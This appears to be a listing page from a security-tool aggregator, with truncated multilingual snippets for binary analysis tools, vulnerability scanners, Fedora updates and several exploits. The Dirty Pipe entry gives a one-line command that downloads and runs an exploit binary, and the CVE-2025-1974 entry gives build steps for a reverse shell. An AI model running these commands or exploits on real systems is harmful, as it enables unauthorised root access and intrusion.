depsguard

depsguard root@kitploit: | | | | / |/ \ ' / |/ | | | |/ | '/ | | | | / | \ \ | | || | | | | | | | ,|| ./|/, |,|,|| ,| || |/ Guard your dependencies against supply chain attacks. Single static binary, zero Rust crate dependencies. By arnica Table of contents...

wcw-cyberring-pav-decryptor

WCW CyberRing PAV Decryptor Cryptanalysis of a proprietary 1999 video DRM system, recovering 51 minutes of lost media through static binary analysis and known-plaintext attack. Frame from a recovered "CyberRing" match. WCW wrestlers were filmed against blue screen and composited into a CGI arena...

zabbix-threat-control

Zabbix Threat Control ztc Turn the Zabbix you already run into a vulnerability-management console. ztc reads each host's software inventory through the stock zabbix-agent2 no extra agent to deploy, audits it against Vulners, and pushes scored, per-host findings — problems, dashboards and CVSS...

pharos

Pharos Static Binary Analysis Framework The Pharos static binary analysis framework is a project of the Software Engineering Institute at Carnegie Mellon University. The framework is designed to facilitate the automated analysis of binary programs. It uses the ROSE compiler infrastructure develop...

e9patch

E9Patch - A Powerful Static Binary Rewriter E9Patch is a powerful static binary rewriting tool for x8664 Linux ELF binaries. E9Patch is: Scalable : E9Patch can reliably rewrite large/complex binaries including web browsers 100MB in size. Compatible : The rewritten binary is a drop-in replacement ...

bincat

Introducción ¿Qué es BinCAT? BinCAT es un kit de análisis de código binario estático , diseñado para ayudar a los ingenieros inversos, directamente desde IDA o usando Python para automatización. Incluye: análisis de valores registros y memoria análisis de contaminación reconstrucción y propagació...

Dirty-Pipe

Exploit en una línea CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

IDA2Obj

IDA2Obj IDA2Obj is a tool to implement SBI Static Binary Instrumentation. The working flow is simple: Dump object files COFF directly from one executable binary. Link the object files into a new binary, almost the same as the old one. During the dumping process, you can insert any data/code at an...

avml

AVML Linux용 휘발성 메모리 획득 요약 Linux용 휴대용 휘발성 메모리 획득 도구. AVML은 Rust로 작성된 X8664 사용자 영역userland 휘발성 메모리 획득 도구로, 정적 바이너리로 배포되도록 설계되었습니다. AVML은 대상 OS 배포판이나 커널을 사전에 알지 못해도 메모리를 획득할 수 있습니다. 대상 시스템에서의 컴파일이나 핑거프린팅이 필요하지 않습니다. 기능 Azure Blob Store 또는 HTTP PUT을 통해 캡처한 이미지를 외부 위치에 저장 Azure Blob Storage 업로드는 Azure...

CVE-2025-1974-go

Exploit CVE-2025-1974 with a single file. Usage: root@kitploit: 1. change serverip and serverport in shell.c 2. make 3. GOOS=linux go build -ldflags="-w -s -extldflags "-static"" -trimpath main.go 4. run main in your controlled pod...

Pishi

Pishi Pishi is a static binary rewriting tool designed to instrument basic blocks in XNU kernel and in arbitrary macOS kernel extensions kexts. for XNU kernel, Pishi allows you to instrument at a function, file, or folder level. For example, you can instrument everything in the /bsd/net/ director...

copyfail-go

CopyFail Go 대부분의 Linux LPE는 레이스 윈도우race window나 커널별 오프셋이 필요합니다. Copy Fail은 직선형 로직 결함straight-line logic flaw으로, 둘 다 필요 없습니다. 동일한 732바이트 Python 스크립트 정적 Go 바이너리는 2017년 이후 출시된 모든 Linux 배포판을 루트 권한으로 탈취합니다. CVE-2026-31431의 Go 구현입니다. 정적 바이너리가 필요하고 Python 의존성이 없을 때 사용하세요. 자세한 내용은 copy.fail을 참조하세요. 인터랙티브...

CVE-2022-0847-Dirty-Pipe

Exploit de una línea CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

dasel-melange-apko

dasel v3.3.1 — Compilación con Melange + apko, parcheado para CVE-2026-33320 Este repositorio empaqueta la CLI dasel v3.3.1 como un APK con Melange , construye una imagen de contenedor mínima con apko , y aplica una corrección para CVE-2026-33320 manteniéndose en el código base v3.3.1 un parche, ...

PeAR: A Static Binary Rewriting Framework for Binary-Only Fuzzing

Binary-only fuzzing is a key technique for finding bugs in close-source software. Without access to source code, the fuzzer must rely on static or dynamic binary instrumentation for coverage guidance. In practice, most fuzzers favor dynamic binary instrumentation DBI, accepting runtime overhead t...

Exploit for CVE-2026-31431

CopyFail Go Most Linux LPEs need a race window or a kernel-...

[SECURITY] Fedora 43 Update: uv-0.9.7-2.fc43

An extremely fast Python package installer and resolver, written in Rust. Designed as a drop-in replacement for common pip and pip-tools workflows. Highlights: =E2=80=A2 =E2=9A=96=EF=B8=8F Drop-in replacement for common pip, pip-tools, and virtualenv commands. =E2=80=A2 =E2=9A=A1=EF=B8=8F 10-100x...

[SECURITY] Fedora 41 Update: uv-0.8.11-4.fc41

An extremely fast Python package installer and resolver, written in Rust. Designed as a drop-in replacement for common pip and pip-tools workflows. Highlights: =E2=80=A2 =E2=9A=96=EF=B8=8F Drop-in replacement for common pip, pip-tools, and virtualenv commands. =E2=80=A2 =E2=9A=A1=EF=B8=8F 10-100x...

[SECURITY] Fedora 43 Update: uv-0.8.11-4.fc43

An extremely fast Python package installer and resolver, written in Rust. Designed as a drop-in replacement for common pip and pip-tools workflows. Highlights: =E2=80=A2 =E2=9A=96=EF=B8=8F Drop-in replacement for common pip, pip-tools, and virtualenv commands. =E2=80=A2 =E2=9A=A1=EF=B8=8F 10-100x...

[SECURITY] Fedora 41 Update: uv-0.8.11-2.fc41

An extremely fast Python package installer and resolver, written in Rust. Designed as a drop-in replacement for common pip and pip-tools workflows. Highlights: =E2=80=A2 =E2=9A=96=EF=B8=8F Drop-in replacement for common pip, pip-tools, and virtualenv commands. =E2=80=A2 =E2=9A=A1=EF=B8=8F 10-100x...